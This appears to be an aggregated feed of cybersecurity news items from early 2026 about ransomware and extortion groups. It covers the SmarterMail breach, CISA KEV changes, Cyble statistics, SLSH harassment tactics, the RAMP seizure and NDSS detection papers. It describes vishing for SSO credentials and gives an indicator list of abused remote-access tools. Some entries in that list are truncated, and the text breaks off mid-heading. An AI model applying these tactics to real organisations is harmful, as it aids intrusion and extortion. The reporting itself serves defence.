When corporate data is exposed on a dedicated leak site, the consequences linger long after the attack fades from the news cycle

SmarterTools was breached by hackers exploiting a vulnerability in its own SmarterMail software through an unknown virtual machine set up by an employee that wasn’t being updated. “Prior to the breach, we had approximately 30 servers/VMs with SmarterMail installed throughout our network,” SmarterTools COO Derek Curtis noted in a Feb. 3 post. “Unfortunately, we were unaware of one VM, set up by an employee, that was not being updated. As a result, that mail server was compromised, which led to the breach.” Network segmentation helped limit the breach, Curtis said, so the company website, shopping cart, account portal, and other services “remained online while we mitigated the issue. None of our business applications or account data were affected or compromised.”

SmarterTools Breach Comes Amid SmarterMail Vulnerability Warnings

Curtis said SmarterTools was compromised by the Warlock ransomware group, “and we have observed similar activity on customer machines.” In a blog post today, ReliaQuest researchers said they’ve observed SmarterMail vulnerability CVE-2026-23760 exploited in attacks “attributed with moderate-to-high confidence to ‘Storm-2603.’ This appears to be the first observed exploitation linking the China-based actor to the vulnerability as an entry point for its ‘Warlock’ ransomware operations.” ReliaQuest said other ransomware actors may be targeting a second SmarterMail vulnerability. “This activity coincides with a February 5, 2026 CISA warning that ransomware actors are exploiting a second SmarterMail vulnerability (CVE-2026-24423),” ReliaQuest said. “We observed probes for this second vulnerability alongside the Storm-2603 activity. However, because these attempts originated from different infrastructure, it remains unclear whether Storm-2603 is rotating IP addresses or a separate group is capitalizing on the same window. “Specific attribution matters less than the operational reality: Internet-facing servers are being targeted by multiple vectors simultaneously,” ReliQuest added. “Patching one entry point is insufficient if the adversary is actively pivoting to another or—worse—has already established persistence using legitimate tools.” Curtis said that once Warlock actors gain access, “they typically install files and wait approximately 6–7 days before taking further action. This explains why some customers experienced a compromise even after updating—the initial breach occurred prior to the update, but malicious activity was triggered later.”

SmarterTools Breach Limited by Linux Use

Curtis said the SmarterTools breach affected networks at the company office and a data center “which primarily had various labs where we do much of our QC work, etc.” “Because we are primarily a Linux company now, only about 12 Windows servers looked to be compromised and on those servers, our virus scanners blocked most efforts,” he wrote. “None of the Linux servers were affected.” He said Sentinel One “did a really good job detecting vulnerabilities and preventing servers from being encrypted.” He said that SmarterMail Build 9518 (January 15) contains fixes for the vulnerabilities, while Build 9526 (January 22) “complements those fixes with additional improvements and resolves lesser issues that have been brought to our attention and/or discovered during our internal security audits.” He said based on the company’s own breach and observations of customer incidents, Warlock actors “often attempt to take control of the Active Directory server and create new users. From there, they distribute files across Windows machines and attempt to execute files that encrypt data.” Common file names and programs abused by the threat actors have included:

• Velociraptor
• JWRapper
• Remote Access
• SimpleHelp
• WinRAR (older, vulnerable versions)
• exe
• dll
• exe
• Short, random filenames such as e0f8rM_0.ps1 or abc...
• Random .aspx files

“We hope this provides a fuller summary of what we have seen and what customers can look for in their own environments,” Curtis said. “We also hope it demonstrates that we are taking every possible step to prevent issues like this from occurring again and making every effort to consolidate what we’re seeing and sharing with our customers.”

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has been “silently” updating its Known Exploited Vulnerabilities (KEV) catalog when it concludes that vulnerabilities have been exploited by ransomware groups, according to a security researcher. CISA adds a “known” or “unknown” field next to the “Known To Be Used in Ransomware Campaigns?” entry in its KEV catalog. The problem, according to a blog post by Glenn Thorpe of GreyNoise, is the agency doesn’t send out advisories when a vulnerability changes from “unknown” to “known” vulnerabilities exploited by ransomware groups. Thorpe downloaded daily CISA KEV snapshots for all of 2025 and found that the agency had flipped 59 vulnerabilities in 2025 from “unknown” to “known” evidence of exploitation by ransomware groups. “When that field flips from ‘Unknown’ to ‘Known,’ CISA is saying: ‘We have evidence that ransomware operators are now using this vulnerability in their campaigns,’" Thorpe wrote. “That's a material change in your risk posture. Your prioritization calculus should shift. But there's no alert, no announcement. Just a field change in a JSON file. This has always frustrated me.” In a statement shared with The Cyber Express, CISA Executive Assistant Director for Cybersecurity Nick Andersen suggested that the agency is considering Thorpe’s input. “We continue to streamline processes and enrich vulnerability data through initiatives like the KEV catalog, the Common Vulnerabilities and Exposures (CVE) Program, and Vulnrichment,” Andersen said. “Feedback from the cybersecurity community is essential as CISA works to enhance the KEV catalog and advance vulnerability prioritization across the ecosystem.”

Microsoft Leads in Vulnerabilities Exploited by Ransomware Groups

Of the 59 CVEs that flipped to “known” exploitation by ransomware groups last year, 27% were Microsoft vulnerabilities, Thorpe said. Just over a third (34%) involved edge and network CVEs, and 39% were for CVEs before 2023. And 41% of the flipped vulnerabilities occurred in a single month, May 2025. The “Fastest time-to-ransomware flip” was one day, while the longest lag between CISA KEV addition and the change to “known” ransomware exploitation status was 1,353 days. The “Most flipped vulnerability type” was Authentication Bypass at 14% of occurrences.

Ransomware Groups Target Edge Devices

Edge devices accounted for a high number of the flipped vulnerabiities, Thorpe said. Fortinet, Ivanti, Palo Alto and Check Point Security edge devices were among the flipped CVEs. “Ransomware operators are building playbooks around your perimeter,” he said. Thorpe said that 19 of the 59 flipped vulnerabilities “target network security appliances, the very devices deployed to protect organizations.” But he added: “Legacy bugs show up too; Adobe Reader vulnerabilities from years ago suddenly became ransomware-relevant.” Authentication bypasses and RCE vulnerabilities were the most common, “as ransomware operators prioritize ‘get in and go’ attack chains.” The breakdown by vendor of the 59 vulnerabilities “shouldn't surprise anyone,” he said. Microsoft was responsible for 16 of the flipped CVEs, affecting SharePoint, Print Spooler, Group Policy, Mark-of-the-Web bypasses, and more. Ivanti products were affected by 6 of the flipped CVEs, Fortinet by 5 (with FortiOS SSL-VPN heap overflows standing out), and Palo Alto Networks and Zimbra were each affected by 3 of the CVEs. “Ransomware operators are economic actors after all,” Thorpe said. “They invest in exploit development for platforms with high deployment and high-value access. Firewalls, VPN concentrators, and email servers fit that profile perfectly.” He also noted that the pace of vulnerability exploitation by ransomware groups accelerated in 2025. “Today, ransomware operators are integrating fresh exploits into their playbooks faster than defenders are patching,” he said. Thorpe created an RSS feed to track the flipped vulnerabilities; it’s updated hourly.

Ransomware attacks have soared 30% since late last year, and they’ve continued that trend so far in 2026, with many of the attacks affecting software and manufacturing supply chains. Those are some of the takeaways of new research published by Cyble today, which also looked at the top ransomware groups, significant ransomware attacks, new ransomware groups, and recommended cyber defenses. Ransomware groups claimed 2,018 attacks in the last three months of 2025, averaging just under 673 a month to end a record-setting year. The elevated attack levels continued in January 2026, as the threat groups claimed 679 ransomware victims. In the first nine months of 2025, ransomware groups claimed an average of 512 victims a month, so the recent trend has been more than 30% above that, Cyble noted. Below is Cyble’s chart of ransomware attacks by month since 2021, which shows a sustained uptrend since mid-2025.

Qilin Remains Top Ransomware Group as CL0P Returns

Qilin was once again the top ransomware group, claiming 115 victims in January. CL0P was second with 93 victims after claiming “scores of victims” in recent weeks in an as-yet unspecified campaign. Akira remained among the leaders with 76 attacks, and newcomers Sinobi and The Gentlemen rounded out the top five (chart below). [caption id="attachment_109255" align="aligncenter" width="845"] Top ransomware groups January 2026 (Cyble)[/caption] “As CL0P tends to claim victims in clusters, such as its exploitation of Oracle E-Business Suite flaws that helped drive supply chain attacks to records in October, new campaigns by the group are noteworthy,” Cyble said. Victims in the latest campaign have included 11 Australia-based companies spanning a range of sectors such as IT, banking and financial services (BFSI), construction, hospitality, professional services, and healthcare. Other recent CL0P victims have included “a U.S.-based IT services and staffing company, a global hotel company, a major media firm, a UK payment processing company, and a Canada-based mining company engaged in platinum group metals production,” Cyble said. The U.S. once again led all countries in ransomware attacks (chart below), while the UK and Australia faced a higher-than-normal attack volume. “CL0P’s recent campaign was a factor in both of those increases,” Cyble said. [caption id="attachment_109256" align="aligncenter" width="831"] Ransomware attacks by country January 2026 (Cyble)[/caption] Construction, professional services and manufacturing remain opportunistic targets for threat actors, while the IT industry also remains a favorite target of ransomware groups, “likely due to the rich target the sector represents and the potential to pivot into downstream customer environments,” Cyble said (chart below). [caption id="attachment_109258" align="aligncenter" width="819"] Ransomware attacks by industry January 2026 (Cyble)[/caption]

Ransomware Attacks Hit the Supply Chain

Cyble documented 10 significant ransomware attacks from January in its blog post, many of which had supply chain implications. One was an Everest ransomware group compromise of “a major U.S. manufacturer of telecommunications networking equipment ... Everest claims the data includes PDF documents containing sensitive engineering materials, such as electrical schematics, block diagrams, and service subsystem documentation.” Sinobi claimed a breach of an India-based IT services company. “Samples shared by the attackers indicate access to internal infrastructure, including Microsoft Hyper-V servers, multiple virtual machines, backups, and storage volumes,” Cyble said. A Rhysida ransomware group attack on a U.S. life sciences and biotechnology instrumentation company allegedly exposed sensitive information such as engineering blueprints and project documentation. A RansomHouse attack on a China-based electronics manufacturing for the technology and automotive manufacturers nay have exposed “extensive proprietary engineering and production-related data,” and “data associated with multiple major technology and automotive companies.” An INC Ransom attack on a Hong Kong–based components manufacturer for the global electronics and automotive industries may have exposed “client-related information associated with more than a dozen major global brands, plus confidential contracts and project documentation for at least three major IT companies.” Cyble also documented the rise of three new ransomware groups: Green Blood, DataKeeper and MonoLock, with DataKeeper and MonoLock releasing details on technical and payment features aimed at attracting ransomware affiliates to their operations.  

In 2025, we launched Experts on Experts: Commanding Perspectives as a pilot video series designed to spotlight the ideas shaping cybersecurity, directly from the people driving them. Over five episodes, Rapid7 leaders shared short, candid conversations on topics like agentic AI, MDR ROI, cybercrime-as-a-service, and policy in practice. With Season Two launching soon, now is the perfect time to revisit the first run of expert conversations that started it all. 

Each episode is now embedded in its supporting blog on rapid7.com, making it even easier to watch, read, and share. Here's your full recap of Season One.

Ep 1: What Happens When Agentic AIs Talk to Each Other?

Guest: Laura Ellis, VP of Data & AI

Agentic AI was one of the most talked-about themes of the year, but few tackled it with the clarity and urgency Laura Ellis brought to this episode. From governance models to inter-agent deception, the conversation explores how AI systems can interact in unpredictable ways. Laura shares her perspective on keeping humans at the helm, how to contain agent behavior in real-world infrastructure, and what’s realistic for security teams today. The episode came from a LinkedIn conversation about autonomy, oversight, and the potential for agent-to-agent manipulation, and answered a lot of questions. If you’re curious about how AI moves from experiment to ecosystem, this is a great place to start.

[Read and watch]

Ep 2: What MDR ROI Really Looks Like

Guest: Jon Hencinski, VP of Detection & Response

In this open and honest conversation, Jon Hencinski takes us inside the modern SOC to show what strong managed detection and response really looks like. From coverage and telemetry to analyst training and noise reduction, the episode walks through the building blocks of a high-performing MDR program. Jon speaks directly to security leaders and decision-makers, breaking down which metrics matter most, how to measure confidence in your provider, and why speed is still the differentiator. If you’re evaluating MDR partners or trying to articulate the value of your program internally, this episode offers a practical benchmark. It also pairs well with Rapid7’s IDC report on MDR business value, which (Spoiler Alert) found a 422% three-year ROI and payback in under six months.

[Read and watch]

Ep 3: The Business of Cybercrime

Guest: Raj Samani, SVP and Chief Scientist

Cybercrime is no longer just a threat, it’s an economy. In this episode, Raj Samani unpacks the business model behind ransomware, initial access brokers, and affiliate operations. He shares his view on how cybercriminals are scaling operations like startups, what security teams can do to map that behavior, and why understanding the economy of access is key to disruption. It’s an insightful look at how attacker innovation is outpacing the traditional response, and what needs to change. Raj also reflects on the blurred lines between opportunistic access and long-tail ransomware campaigns, and how buyers on the dark web shape the threat landscape. This conversation is especially useful for defenders who want to think more strategically about adversaries and the systems that support them.

[Read and watch]

Ep 4: What SOC Teams Are Doing Differently in 2025

Guest: Steve Edwards, Director of Threat Intelligence and Detection Engineering

This episode walks through the key findings of Rapid7’s IDC study on the business value of MDR and brings them to life through real-world SOC operations. Steve Edwards shares how telemetry access changes the game, what true coverage looks like in practice, and why teams are shifting away from reactive models to faster, context-rich detection. You’ll hear what happens in the first 24 to 48 hours of incident response and how Rapid7’s no-cap IR model improves confidence during high-pressure moments. Steve also breaks down how teams are using MITRE ATT&CK  mapping to prioritize security investments and measure response maturity over time. For security leaders and buyers evaluating managed services, this conversation offers a clear, practical lens on what a successful MDR program looks like from a security and business perspective.

[Read and watch]

Ep 5: Policy to Practice - What Cyber Resilience Really Takes

Guest: Sabeen Malik, VP of Global Government Affairs and Public Policy

With new regulations emerging across the globe, it’s easy to confuse compliance with resilience. In this episode, Sabeen Malik unpacks what it takes to bridge that gap. She talks through disclosure laws, geopolitical tension, and the difficulty of turning policy into something operators can act on. Sabeen brings both policy expertise and operational realism, making the case that cybersecurity regulation needs to be built for the real world, not for a checklist. She also explores the cultural side of risk, including how insider threats and trust-based frameworks play into resilience planning. If your organization is tracking regulatory changes or working toward a more mature security posture, this episode offers a smart lens on where policy can help, and how to overcome it's shortfalls.

[Read and watch]

A prolific data ransom gang that calls itself Scattered Lapsus ShinyHunters (SLSH) has a distinctive playbook when it seeks to extort payment from victim firms: Harassing, threatening and even swatting executives and their families, all while notifying journalists and regulators about the extent of the intrusion. Some victims reportedly are paying — perhaps as much to contain the stolen data as to stop the escalating personal attacks. But a top SLSH expert warns that engaging at all beyond a “We’re not paying” response only encourages further harassment, noting that the group’s fractious and unreliable history means the only winning move is not to pay.

Unlike traditional, highly regimented Russia-based ransomware affiliate groups, SLSH is an unruly and somewhat fluid English-language extortion gang that appears uninterested in building a reputation of consistent behavior whereby victims might have some measure of confidence that the criminals will keep their word if paid.

That’s according to Allison Nixon, director of research at the New York City based security consultancy Unit 221B. Nixon has been closely tracking the criminal group and individual members as they bounce between various Telegram channels used to extort and harass victims, and she said SLSH differs from traditional data ransom groups in other important ways that argue against trusting them to do anything they say they’ll do — such as destroying stolen data.

Like SLSH, many traditional Russian ransomware groups have employed high-pressure tactics to force payment in exchange for a decryption key and/or a promise to delete stolen data, such as publishing a dark web shaming blog with samples of stolen data next to a countdown clock, or notifying journalists and board members of the victim company. But Nixon said the extortion from SLSH quickly escalates way beyond that — to threats of physical violence against executives and their families, DDoS attacks on the victim’s website, and repeated email-flooding campaigns.

SLSH is known for breaking into companies by phishing employees over the phone, and using the purloined access to steal sensitive internal data. In a January 30 blog post, Google’s security forensics firm Mandiant said SLSH’s most recent extortion attacks stem from incidents spanning early to mid-January 2026, when SLSH members pretended to be IT staff and called employees at targeted victim organizations claiming that the company was updating MFA settings.

“The threat actor directed the employees to victim-branded credential harvesting sites to capture their SSO credentials and MFA codes, and then registered their own device for MFA,” the blog post explained.

Victims often first learn of the breach when their brand name is uttered on whatever ephemeral new public Telegram group chat SLSH is using to threaten, extort and harass their prey. According to Nixon, the coordinated harassment on the SLSH Telegram channels is part of a well-orchestrated strategy to overwhelm the victim organization by manufacturing humiliation that pushes them over the threshold to pay.

Nixon said multiple executives at targeted organizations have been subject to “swatting” attacks, wherein SLSH communicated a phony bomb threat or hostage situation at the target’s address in the hopes of eliciting a heavily armed police response at their home or place of work.

“A big part of what they’re doing to victims is the psychological aspect of it, like harassing executives’ kids and threatening the board of the company,” Nixon told KrebsOnSecurity. “And while these victims are getting extortion demands, they’re simultaneously getting outreach from media outlets saying, ‘Hey, do you have any comments on the bad things we’re going to write about you.”

In a blog post today, Unit 221B argues that no one should negotiate with SLSH because the group has demonstrated a willingness to extort victims based on promises that it has no intention to keep. Nixon points out that all of SLSH’s known members hail from The Com, shorthand for a constellation of cybercrime-focused Discord and Telegram communities which serve as a kind of distributed social network that facilitates instant collaboration.

Nixon said Com-based extortion groups tend to instigate feuds and drama between group members, leading to lying, betrayals, credibility destroying behavior, backstabbing, and sabotaging each other.

“With this type of ongoing dysfunction, often compounding by substance abuse, these threat actors often aren’t able to act with the core goal in mind of completing a successful, strategic ransom operation,” Nixon wrote. “They continually lose control with outbursts that put their strategy and operational security at risk, which severely limits their ability to build a professional, scalable, and sophisticated criminal organization network for continued successful ransoms – unlike other, more tenured and professional criminal organizations focused on ransomware alone.”

Intrusions from established ransomware groups typically center around encryption/decryption malware that mostly stays on the affected machine. In contrast, Nixon said, ransom from a Com group is often structured the same as violent sextortion schemes against minors, wherein members of The Com will steal damaging information, threaten to release it, and “promise” to delete it if the victim complies without any guarantee or technical proof point that they will keep their word. She writes:

A key component of SLSH’s efforts to convince victims to pay, Nixon said, involves manipulating the media into hyping the threat posed by this group. This approach also borrows a page from the playbook of sextortion attacks, she said, which encourages predators to keep targets continuously engaged and worrying about the consequences of non-compliance.

“On days where SLSH had no substantial criminal ‘win’ to announce, they focused on announcing death threats and harassment to keep law enforcement, journalists, and cybercrime industry professionals focused on this group,” she said.

Nixon knows a thing or two about being threatened by SLSH: For the past several months, the group’s Telegram channels have been replete with threats of physical violence against her, against Yours Truly, and against other security researchers. These threats, she said, are just another way the group seeks to generate media attention and achieve a veneer of credibility, but they are useful as indicators of compromise because SLSH members tend to name drop and malign security researchers even in their communications with victims.

“Watch for the following behaviors in their communications to you or their public statements,” Unit 221B’s advisory reads. “Repeated abusive mentions of Allison Nixon (or “A.N”), Unit 221B, or cybersecurity journalists—especially Brian Krebs—or any other cybersecurity employee, or cybersecurity company. Any threats to kill, or commit terrorism, or violence against internal employees, cybersecurity employees, investigators, and journalists.”

Unit 221B says that while the pressure campaign during an extortion attempt may be traumatizing to employees, executives, and their family members, entering into drawn-out negotiations with SLSH incentivizes the group to increase the level of harm and risk, which could include the physical safety of employees and their families.

“The breached data will never go back to the way it was, but we can assure you that the harassment will end,” Nixon said. “So, your decision to pay should be a separate issue from the harassment. We believe that when you separate these issues, you will objectively see that the best course of action to protect your interests, in both the short and long term, is to refuse payment.”

RAMP—the predominantly Russian-language online bazaar that billed itself as the “only place ransomware allowed”—had its dark web and clear web sites seized by the FBI as the agency tries to combat the growing scourge threatening critical infrastructure and organizations around the world.

Visits to both sites on Wednesday returned pages that said the FBI had taken control of the RAMP domains, which mirrored each other. RAMP has been among the dwindling number of online crime forums to operate with impunity, following the takedown of other forums such as XSS, which saw its leader arrested last year by Europol. The vacuum left RAMP as one of the leading places for people pushing ransomware and other online threats to buy, sell, or trade products and services.

I regret to inform you

“The Federal Bureau of Investigation has seized RAMP,” a banner carrying the seals of the FBI and the Justice Department said. “This action has been taken in coordination with the United States Attorney’s Office for the Southern District of Florida and the Computer Crime and Intellectual Property Section of the Department of Justice.” The banner included a graphic that appeared on the RAMP site, before it was seized, that billed itself as the “only place ransomware allowed.”

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Session 10B: Ransomware

Authors, Creators & Presenters: Christian van Sloun (RWTH Aachen University), Vincent Woeste (RWTH Aachen University), Konrad Wolsing (RWTH Aachen University & Fraunhofer FKIE), Jan Pennekamp (RWTH Aachen University), Klaus Wehrle (RWTH Aachen University)

PAPER
Detecting Ransomware Despite I/O Overhead: A Practical Multi-Staged Approach

Ransomware attacks have become one of the most widely feared cyber attacks for businesses and home users. Since attacks are evolving and use advanced phishing campaigns and zero-day exploits, everyone is at risk, ranging from novice users to experts. As a result, much research has focused on preventing and detecting ransomware attacks, with real-time monitoring of I/O activity being the most prominent approach for detection. These approaches have in common that they inject code into the execution of the operating system's I/O stack, a more and more optimized system. However, they seemingly do not consider the impact the integration of such mechanisms would have on system performance or only consider slow storage mediums, such as rotational hard disk drives. This paper analyzes the impact of monitoring different features of relevant I/O operations for Windows and Linux. We find that even simple features, such as the entropy of a buffer, can increase execution time by 350% and reduce SSD performance by up to 75%. To combat this degradation, we propose adjusting the number of monitored features based on a process's behavior in real-time. To this end, we design and implement a multi-staged IDS that can adjust overhead by moving a process between stages that monitor different numbers of features. By moving seemingly benign processes to stages with fewer features and less overhead while moving suspicious processes to stages with more features to confirm the suspicion, the average time a system requires to perform I/O operations can be reduced drastically. We evaluate the effectiveness of our design by combining actual I/O behavior from a public dataset with the measurements we gathered for each I/O operation and found that a multi-staged design can reduce the overhead to I/O operations by an order of magnitude while maintaining similar detection accuracy of traditional single-staged approaches. As a result, real-time behavior monitoring for ransomware detection becomes feasible despite its inherent overhead impacts.

ABOUT NDSS
The Network and Distributed System Security Symposium (NDSS) fosters information exchange among researchers and practitioners of network and distributed system security. The target audience includes those interested in practical aspects of network and distributed system security, with a focus on actual system design and implementation. A major goal is to encourage and enable the Internet community to apply, deploy, and advance the state of available security technologies.

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Our thanks to the Network and Distributed System Security (NDSS) Symposium for publishing their Creators, Authors and Presenter’s superb NDSS Symposium 2025 Conference content on the Organizations' YouTube Channel.

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The ShinyHunters and CL0P threat groups have returned with new claimed victims. ShinyHunters has resurfaced with a new onion-based data leak site, with the group publishing data allegedly stolen from three victims, with two apparently linked to recent vishing attacks targeting single sign-on (SSO) accounts at Okta, Microsoft and Google, which can lead to compromises of connected enterprise applications and services. In an email to The Cyber Express, a ShinyHunters spokesperson said “a lot more victims are to come from the new vishing campaign.” The CL0P ransomware group, meanwhile, has claimed 43 victims in recent days, its first victims since its exploitation of Oracle E-Business Suite vulnerabilities last year netted more than 100 victims. The group reportedly was targeting internet-facing Gladinet CentreStack file servers in its latest extortion campaign, but the threat group has posted no technical details to support the new claims.

ShinyHunters Returns

ShinyHunters has resurfaced following 2025 campaigns that saw breaches of PornHub and Salesforce environments and a “suspicious insider” at CrowdStrike. The group, which has also gone by Scattered LAPSUS$ Hunters, has claimed three new victims, all of whom have had confirmed breaches in recent weeks. One of the claimed victims is SoundCloud, which confirmed a breach in mid-December that the company said “consisted only of email addresses and information already visible on public SoundCloud profiles and affected approximately 20% of SoundCloud users.” Investment firm Betterment is another claimed victim with a recent confirmed breach. While it’s not clear if the incident is related to the ShinyHunters claims, the company reported a January 9 incident in which “an unauthorized individual gained access to certain Betterment systems through social engineering. This means the individual used identity impersonation and deception to gain access, rather than compromising our technical infrastructure. The unauthorized access involved third-party software platforms that Betterment uses to support our marketing and operations.” The third claimed victim is financial data firm Crunchbase, which confirmed a data exfiltration incident in a statement to SecurityWeek. ShinyHunters told The Cyber Express that only Crunchbase and Betterment are from the SSO vishing campaign. “We are releasing victims from many of our previous campaigns and ongoing campaigns onto our data leak site, not exclusively the SSO vishing campaign data thefts,” the spokesperson said. Meanwhile, a threat actor who goes by “LAPSUS-GROUP” has emerged recently on the BreachForums 5.0 cybercrime forum claiming data stolen from a Canadian retail SaaS company, but ShinyHunters told The Cyber Express that the actor is an “impersonator group” and has no connection to ShinyHunters.

CL0P Claims 43 New Victims

The Cl0p ransomware group appears to have launched a new extortion campaign, although it is not clear what vulnerabilities or services the group is targeting. The group listed 21 new victims last week, and then another 22 over the weekend. Alleged victims include a major hotel chain, an IT services company, a UK payment processing firm, a workforce management company, and a Canada-based mining company. In a note to clients today, threat intelligence company Cyble wrote, “At the time of reporting, Cl0p has not disclosed technical details, the volume or type of data allegedly exfiltrated, nor announced any ransom deadlines for these victims. No proof-of-compromise samples have been published. We continue to monitor the situation for further disclosures, validation of the victim listings, or escalation by the group.”

Session 10B: Ransomware

Authors, Creators & Presenters: Kevin van Liebergen (IMDEA Software Institute), Gibran Gomez (IMDEA Software Institute), Srdjan Matic (IMDEA Software Institute), Juan Caballero (IMDEA Software Institute)

PAPER
all your (data)base are belong to us: Characterizing Database Ransom(ware) Attacks

We present the first systematic study of database ransom(ware) attacks, a class of attacks where attackers scan for database servers, log in by leveraging the lack of authentication or weak credentials, drop the database contents, and demand a ransom to return the deleted data. We examine 23,736 ransom notes collected from 60,427 compromised database servers over three years, and set up database honeypots to obtain a first-hand view of current attacks. Database ransom(ware) attacks are prevalent with 6K newly infected servers in March 2024, a 60% increase over a year earlier. Our honeypots get infected in 14 hours since they are connected to the Internet. Weak authentication issues are two orders of magnitude more frequent on Elasticsearch servers compared to MySQL servers due to slow adoption of the latest Elasticsearch versions. To analyze who is behind database ransom(ware) attacks we implement a clustering approach that first identifies campaigns using the similarity of the ransom notes text. Then, it determines which campaigns are run by the same group by leveraging indicator reuse and information from the Bitcoin blockchain. For each group, it computes properties such as the number of compromised servers, the lifetime, the revenue, and the indicators used. Our approach identifies that the 60,427 database servers are victims of 91 campaigns run by 32 groups. It uncovers a dominant group responsible for 76% of the infected servers and 90% of the financial impact. We find links between the dominant group, a nation-state, and a previous attack on Git repositories.

ABOUT NDSS
The Network and Distributed System Security Symposium (NDSS) fosters information exchange among researchers and practitioners of network and distributed system security. The target audience includes those interested in practical aspects of network and distributed system security, with a focus on actual system design and implementation. A major goal is to encourage and enable the Internet community to apply, deploy, and advance the state of available security technologies.

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Our thanks to the Network and Distributed System Security (NDSS) Symposium for publishing their Creators, Authors and Presenter’s superb NDSS Symposium 2025 Conference content on the Organizations' YouTube Channel.

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Authors, Creators & Presenters: Lingbo Zhao (Institute of Information Engineering, Chinese Academy of Sciences), Yuhui Zhang (Institute of Information Engineering, Chinese Academy of Sciences), Zhilu Wang (Institute of Information Engineering, Chinese Academy of Sciences), Fengkai Yuan (Institute of Information Engineering, CAS), Rui Hou (Institute of Information Engineering, Chinese Academy of Sciences)

PAPER
ERW-Radar: An Adaptive Detection System against Evasive Ransomware by Contextual Behavior Detection and Fine-grained Content Analysis

To evade existing antivirus software and detection systems, ransomware authors tend to obscure behavior differences with benign programs by imitating them or by weakening malicious behaviors during encryption. Existing defense solutions have limited effects on defending against evasive ransomware. Fortunately, through extensive observation, we find I/O behaviors of evasive ransomware exhibit a unique repetitiveness during encryption. This is rarely observed in benign programs. Besides, the $chi^2$ test and the probability distribution of byte streams can effectively distinguish encrypted files from benignly modified files. Inspired by these, we first propose ERW-Radar, a detection system, to detect evasive ransomware accurately and efficiently. We make three breakthroughs: 1) a contextual correlation mechanism to detect malicious behaviors; 2) a fine-grained content analysis mechanism to identify encrypted files; and 3) adaptive mechanisms to achieve a better trade-off between accuracy and efficiency. Experiments show that ERW-Radar detects evasive ransomware with an accuracy of 96.18% while maintaining a FPR of 5.36%. The average overhead of ERW-Radar is 5.09% in CPU utilization and 3.80% in memory utilization.

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The Network and Distributed System Security Symposium (NDSS) fosters information exchange among researchers and practitioners of network and distributed system security. The target audience includes those interested in practical aspects of network and distributed system security, with a focus on actual system design and implementation. A major goal is to encourage and enable the Internet community to apply, deploy, and advance the state of available security technologies.

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Hacktivists became significantly more dangerous in 2025, moving beyond their traditional DDoS attacks and website defacements to target critical infrastructure and ransomware attacks. That’s one of the conclusions of a new blog post from Cyble adapted from the threat intelligence company’s 2025 Threat Landscape report. The trend began in earnest with Z-Pentest’s targeting of industrial control systems (ICS) in late 2024, and grew from there. Cyble said it expects those attacks to continue to grow in 2026, along with growing use of custom tools by hacktivists and “deepening alignment between nation-state interests and hacktivists.”

Hacktivist Attacks on Critical Infrastructure Soar

Z-Pentest was the most active of the hacktivist groups targeting ICS, operational technology (OT) and Human Machine Interface (HMI) environments. Dark Engine (Infrastructure Destruction Squad) and Sector 16 also persistently targeted ICS environments, while Golden Falcon Team, NoName057(16), TwoNet, RipperSec, and Inteid also claimed multiple ICS attacks. HMI and web-based Supervisory Control and Data Acquisition (SCADA) interfaces were the systems most frequently targeted by hacktivists. Virtual Network Computing (VNC) environments were targeted less frequently, but “posed the greatest operational risks to several industries,” Cyble said. Building Management Systems (BMS) and Internet of Things (IoT) or edge-layer controllers were also targeted by the groups, reflecting a wider trend toward exploiting poorly secured IoT interfaces. Europe was the primary region targeted by pro-Russian hacktivist groups, with Spain, Italy, the Czech Republic, France, Poland, and Ukraine the most frequent targets of those groups.

State Interests and Hacktivism Align

Cyble also noted increasing alignment between hacktivist groups and state-aligned interests. When Operation Eastwood disrupted NoName057(16)’s DDoS infrastructure in July 2025, the group rapidly rebuilt its capacity and resumed operations against Ukraine, the EU, and NATO, “underscoring the resilience of state-directed ecosystems,” Cyble said. U.S. indictments “further exposed alleged structured cooperation between Russian intelligence services and pro-Kremlin hacktivist fronts,” the blog post said. The Justice Department revealed GRU-backed financing and direction of the Cyber Army of Russia Reborn (CARR) and state-sanctioned development of NoName057(16)’s DDoSia platform. Z-Pentest has also been identified as part of the CARR ecosystem and linked to GRU. Pro-Ukrainian hacktivist groups are less formally connected to state interests, but groups like the BO Team and the Ukrainian Cyber Alliance launched data destruction, encryption and wiper attacks targeting “key Russian businesses and state machinery,” and Ukrainian actors also claimed to pass exfiltrated datasets to national intelligence services. Hacktivist groups Cyber Partisans BY (Belarus) and Silent Crow significantly compromised Aeroflot’s IT environment in a long-term breach, claiming to exfiltrate more than 20TB of data, sabotaging thousands of servers, and disrupting airline systems, a breach that was confirmed by Russia’s General Prosecutor. Other hacktivists aligned with state interests include BQT.Lock (BaqiyatLock, aligned with Hezbollah) and Cyb3r Av3ngers/Mr. Soul Team, which has been linked to Iran’s Islamic Revolutionary Guard Corps (IRGC) and has also targeted critical infrastructure.

Hacktivist Sightings Surge 51%

Cyble said hacktivist sightings surged 51% in 2025, from 700,000 in 2024 to 1.06 million in 2025, “with the bulk of activity focused on Asia and Europe.” “Pro-Russian state-aligned hacktivists and pro-Palestinian, anti-Israel collectives continued to be the primary drivers of hacktivist activity throughout 2025, shaping the operational tempo and geopolitical focus of the threat landscape,” the researchers said. India, Ukraine and Israel were the countries most targeted by hacktivist activity in 2025 (chart below). [caption id="attachment_108842" align="aligncenter" width="825"] Hacktivist attacks by country in 2025 (Cyble)[/caption] Government & Law Enforcement, Energy & Utilities, Education, IT, Transportation & Logistics, and Manufacturing saw the most growth in hacktivist attacks, while the Agriculture & Livestock, Food & Beverages, Hospitality, Construction, Automotive, and Real Estate also saw increasing attack numbers. “Hacktivism has evolved into a geopolitically charged, ICS-focused threat, continuing to exploit exposed OT environments and increasingly weaponizing ransomware as a protest mechanism,” Cyble said. “In 2026, hacktivists and cybercriminals will increasingly target exposed HMI/SCADA systems and VNC takeovers, aided by public PoCs and automated scanning templates, creating ripple effects across the energy, water, transportation, and healthcare sectors,” the researchers predicted.

Ransomware and supply chain attacks set records in 2025, with ransomware attacks up more than 50% and supply chain attacks nearly doubling – trends that suggest further trouble ahead in 2026. Those are some of the data points from a new blog and annual threat landscape report from threat intelligence company Cyble. There were 6,604 ransomware attacks in 2025, 52% higher than the 4,346 attacks claimed by ransomware groups in 2024, according to Cyble data. And the year ended on an upswing for threat groups, with a near-record 731 ransomware attacks in December, behind only February 2025’s record totals (chart below). [caption id="attachment_108784" align="aligncenter" width="729"] Ransomware attacks by month 2021-2025 (Cyble)[/caption] Ransomware groups remained resilient and decentralized in 2025, and ransomware affiliates were quick to gravitate toward new leaders like Qilin in the wake of law enforcement disruptions.

Supply Chain Attacks Soared in 2025

